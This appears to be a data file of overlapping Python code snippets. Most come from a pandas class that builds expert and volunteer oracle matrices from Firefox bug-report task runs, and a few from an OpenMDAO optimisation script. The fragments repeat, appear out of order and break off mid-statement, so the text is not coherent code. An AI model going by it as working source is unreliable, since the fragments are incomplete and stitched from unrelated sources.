optimizations prob.run() # collect responses for all", "IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In the range -pi", "return global_opt if __name__ == '__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx =", "sys from math import pi from openmdao.api import Problem, Group, Component, IndepVarComp, ExecComp," ]
[ "def __init__(self, bugreports, features): self.bugreports = bugreports self.features = features def __shift_taskruns_answers(self, taskruns):", "dataset import pandas as pd from modules.utils import aux_functions from modules.utils import firefox_dataset_p2", "184, 196, 197, 198, 199, 200, 201, 202, 203, 204, 206, 241, 242,", "taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns", "204, 206, 241, 242, 253, 264, 265, 266, 267, 268, 269, 270] taskruns_volunteers_1", "265, 266, 267, 268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns", "pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns.iterrows(): ans = row.new_answers.split(\" \")", "= ['bug_number'] for idx,row in taskruns.iterrows(): ans = row.new_answers.split(\" \") for i in", "taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): # -2 ==> dropped", "empirical study not_ignored_taskruns = [t_id for t_id in taskruns.id.values if t_id not in", "feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns)", "for idx,row in taskruns.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): #", "202, 203, 204, 206, 241, 242, 253, 264, 265, 266, 267, 268, 269,", "= self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns =", "taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id != 1315514)] # drop taskrun lost", "taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id !=", "\") for i in range(len(ans)-2): # -2 ==> dropped features from branch 65", "features from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix", "pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id != 1315514)]", "for idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): #", "taskruns.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): # -2 ==> dropped", "pd from modules.utils import aux_functions from modules.utils import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator:", "from modules.utils import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports", "firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports = bugreports self.features", "ans = row.new_answers.split(\" \") for i in range(len(ans)-2): # -2 ==> dropped features", "expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155,", "taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id !=", "65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns):", "==> dropped features from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i])", "t_id not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names =", "drop taskrun lost during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number']", "200, 201, 202, 203, 204, 206, 241, 242, 253, 264, 265, 266, 267,", "taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id !=", "def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155, 156, 157, 169, 170, 171,", "taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in", "new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers'] = new_answers", "new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert =", "in range(len(ans)-2): # -2 ==> dropped features from branch 65 feat_name = feat_br_matrix.columns[i]", "import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports = bugreports", "idx,row in taskruns.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): # -2", "in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): # -2 ==>", "(taskruns_expert.bug_id != 1315514)] # drop taskrun lost during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values,", "196, 197, 198, 199, 200, 201, 202, 203, 204, 206, 241, 242, 253,", "during empirical study not_ignored_taskruns = [t_id for t_id in taskruns.id.values if t_id not", "lost during empirical study not_ignored_taskruns = [t_id for t_id in taskruns.id.values if t_id", "taskruns = taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id != 1315514)] # drop taskrun lost", "del new_answers[-1] taskruns['new_answers'] = new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns)", "drop taskrun lost during empirical study not_ignored_taskruns = [t_id for t_id in taskruns.id.values", "self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2):", "= taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id != 1315514)] # drop taskrun lost during", "dropped features from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) fd.Feat_BR_Oracles.write_feat_br_volunteers_df(feat_br_matrix)", "study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns_expert.iterrows(): ans", "= ['bug_number'] for idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for i in", "= self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1,", "Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports = bugreports self.features = features def __shift_taskruns_answers(self,", "bugreports, features): self.bugreports = bugreports self.features = features def __shift_taskruns_answers(self, taskruns): new_answers =", "def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835)", "self.features = features def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]] +", "modules.utils import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports =", "not_ignored_taskruns = [t_id for t_id in taskruns.id.values if t_id not in ignored_taskruns] taskruns", "ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row", "from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix def", "[new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers'] = new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns):", "= pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\"", "# -2 ==> dropped features from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name]", "feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns_expert.iterrows(): ans =", "taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id != 1315514)] # drop", "self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id != 1315514)] #", "[t_id for t_id in taskruns.id.values if t_id not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)]", "feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix)", "new_answers[-1] taskruns['new_answers'] = new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id',", "pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \")", "feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for i", "self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835) &", "in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for", "[154, 155, 156, 157, 169, 170, 171, 172, 183, 184, 196, 197, 198,", "functions to create the expert and volunteers oracles from the taskruns dataset import", "203, 204, 206, 241, 242, 253, 264, 265, 266, 267, 268, 269, 270]", "self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id", "= self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835)", "not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number']", "1315514)] # drop taskrun lost during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names", "feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix", "import pandas as pd from modules.utils import aux_functions from modules.utils import firefox_dataset_p2 as", "264, 265, 266, 267, 268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2)", "taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155, 156, 157, 169, 170, 171, 172, 183,", "idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): # -2", "206, 241, 242, 253, 264, 265, 266, 267, 268, 269, 270] taskruns_volunteers_1 =", "from modules.utils import aux_functions from modules.utils import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def", "inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id != 1315514)] # drop taskrun", "197, 198, 199, 200, 201, 202, 203, 204, 206, 241, 242, 253, 264,", "if t_id not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names", "156, 157, 169, 170, 171, 172, 183, 184, 196, 197, 198, 199, 200,", "198, 199, 200, 201, 202, 203, 204, 206, 241, 242, 253, 264, 265,", "= self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155, 156, 157,", "utilitary functions to create the expert and volunteers oracles from the taskruns dataset", "172, 183, 184, 196, 197, 198, 199, 200, 201, 202, 203, 204, 206,", "taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns.iterrows(): ans", "list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers'] = new_answers return taskruns", "in taskruns.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2): # -2 ==>", "taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id != 1315514)] #", "for t_id in taskruns.id.values if t_id not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix", "170, 171, 172, 183, 184, 196, 197, 198, 199, 200, 201, 202, 203,", "study not_ignored_taskruns = [t_id for t_id in taskruns.id.values if t_id not in ignored_taskruns]", "-2 ==> dropped features from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] =", "new_answers = [new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers'] = new_answers return taskruns def", "pandas as pd from modules.utils import aux_functions from modules.utils import firefox_dataset_p2 as fd", "taskrun lost during empirical study not_ignored_taskruns = [t_id for t_id in taskruns.id.values if", "return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix", "taskruns): new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers'] =", "!= 1315514)] # drop taskrun lost during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number)", "feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix =", "= taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns.iterrows():", "expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id", "242, 253, 264, 265, 266, 267, 268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2", "in taskruns.id.values if t_id not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values,", "taskrun lost during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for", "taskruns dataset import pandas as pd from modules.utils import aux_functions from modules.utils import", "t_id in taskruns.id.values if t_id not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix =", "oracles from the taskruns dataset import pandas as pd from modules.utils import aux_functions", "empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns_expert.iterrows():", "['bug_number'] for idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2):", "inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id != 1315514)] # drop taskrun", "241, 242, 253, 264, 265, 266, 267, 268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1)", "taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id != 1315514)] # drop taskrun lost during empirical", "['bug_number'] for idx,row in taskruns.iterrows(): ans = row.new_answers.split(\" \") for i in range(len(ans)-2):", "features): self.bugreports = bugreports self.features = features def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values)", "and volunteers oracles from the taskruns dataset import pandas as pd from modules.utils", "183, 184, 196, 197, 198, 199, 200, 201, 202, 203, 204, 206, 241,", "create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154,", "269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id',", "fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports = bugreports self.features = features", "feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self,", "expert and volunteers oracles from the taskruns dataset import pandas as pd from", "253, 264, 265, 266, 267, 268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 =", "the taskruns dataset import pandas as pd from modules.utils import aux_functions from modules.utils", "taskruns['new_answers'] = new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True)", "!= 1181835) & (taskruns.bug_id != 1315514)] # drop taskrun lost during empirical study", "__create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) &", "= new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert", "= taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id != 1315514)] # drop taskrun lost during", "fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155, 156, 157, 169, 170,", "1181835) & (taskruns.bug_id != 1315514)] # drop taskrun lost during empirical study not_ignored_taskruns", "from the taskruns dataset import pandas as pd from modules.utils import aux_functions from", "feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155, 156,", "ignored_taskruns = [154, 155, 156, 157, 169, 170, 171, 172, 183, 184, 196,", "branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self,", "& (taskruns.bug_id != 1315514)] # drop taskrun lost during empirical study not_ignored_taskruns =", "feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns.iterrows(): ans = row.new_answers.split(\" \") for i", "157, 169, 170, 171, 172, 183, 184, 196, 197, 198, 199, 200, 201,", "i in range(len(ans)-2): # -2 ==> dropped features from branch 65 feat_name =", "during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in", "return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert = self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id", "new_answers del new_answers[-1] taskruns['new_answers'] = new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert =", "= self.__shift_taskruns_answers(expert_taskruns) taskruns_expert.sort_values(by='bug_id', inplace=True) taskruns_expert = taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id != 1315514)]", "= list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers'] = new_answers return", "!= 1315514)] # drop taskrun lost during empirical study not_ignored_taskruns = [t_id for", "index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns_expert.iterrows(): ans = row.new_answers.split(\" \") for", "(taskruns.bug_id != 1315514)] # drop taskrun lost during empirical study not_ignored_taskruns = [t_id", "1181835) & (taskruns_expert.bug_id != 1315514)] # drop taskrun lost during empirical study feat_br_matrix", "268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2])", "def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers del new_answers[-1]", "__shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers']", "row.new_answers.split(\" \") for i in range(len(ans)-2): # -2 ==> dropped features from branch", "fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns", "& (taskruns_expert.bug_id != 1315514)] # drop taskrun lost during empirical study feat_br_matrix =", "= [t_id for t_id in taskruns.id.values if t_id not in ignored_taskruns] taskruns =", "lost during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row", "create the expert and volunteers oracles from the taskruns dataset import pandas as", "to create the expert and volunteers oracles from the taskruns dataset import pandas", "modules.utils import aux_functions from modules.utils import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def __init__(self,", "266, 267, 268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns =", "taskruns_volunteers_2): ignored_taskruns = [154, 155, 156, 157, 169, 170, 171, 172, 183, 184,", "!= 1181835) & (taskruns_expert.bug_id != 1315514)] # drop taskrun lost during empirical study", "def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns =", "155, 156, 157, 169, 170, 171, 172, 183, 184, 196, 197, 198, 199,", "169, 170, 171, 172, 183, 184, 196, 197, 198, 199, 200, 201, 202,", "# drop taskrun lost during empirical study feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names =", "270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True)", "= pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id !=", "import aux_functions from modules.utils import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports,", "+ new_answers del new_answers[-1] taskruns['new_answers'] = new_answers return taskruns def __create_exp_feat_br_matrix(self, expert_taskruns): taskruns_expert", "create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix)", "self.bugreports = bugreports self.features = features def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers", "171, 172, 183, 184, 196, 197, 198, 199, 200, 201, 202, 203, 204,", "201, 202, 203, 204, 206, 241, 242, 253, 264, 265, 266, 267, 268,", "= [new_answers[-1]] + new_answers del new_answers[-1] taskruns['new_answers'] = new_answers return taskruns def __create_exp_feat_br_matrix(self,", "taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id != 1315514)] # drop", "for i in range(len(ans)-2): # -2 ==> dropped features from branch 65 feat_name", "taskruns_expert[(taskruns_expert.bug_id != 1181835) & (taskruns_expert.bug_id != 1315514)] # drop taskrun lost during empirical", "= feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix =", "= [154, 155, 156, 157, 169, 170, 171, 172, 183, 184, 196, 197,", "as fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports = bugreports self.features =", "volunteers oracles from the taskruns dataset import pandas as pd from modules.utils import", "# utilitary functions to create the expert and volunteers oracles from the taskruns", "1315514)] # drop taskrun lost during empirical study not_ignored_taskruns = [t_id for t_id", "aux_functions from modules.utils import firefox_dataset_p2 as fd class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features):", "int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns):", "the expert and volunteers oracles from the taskruns dataset import pandas as pd", "= int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = 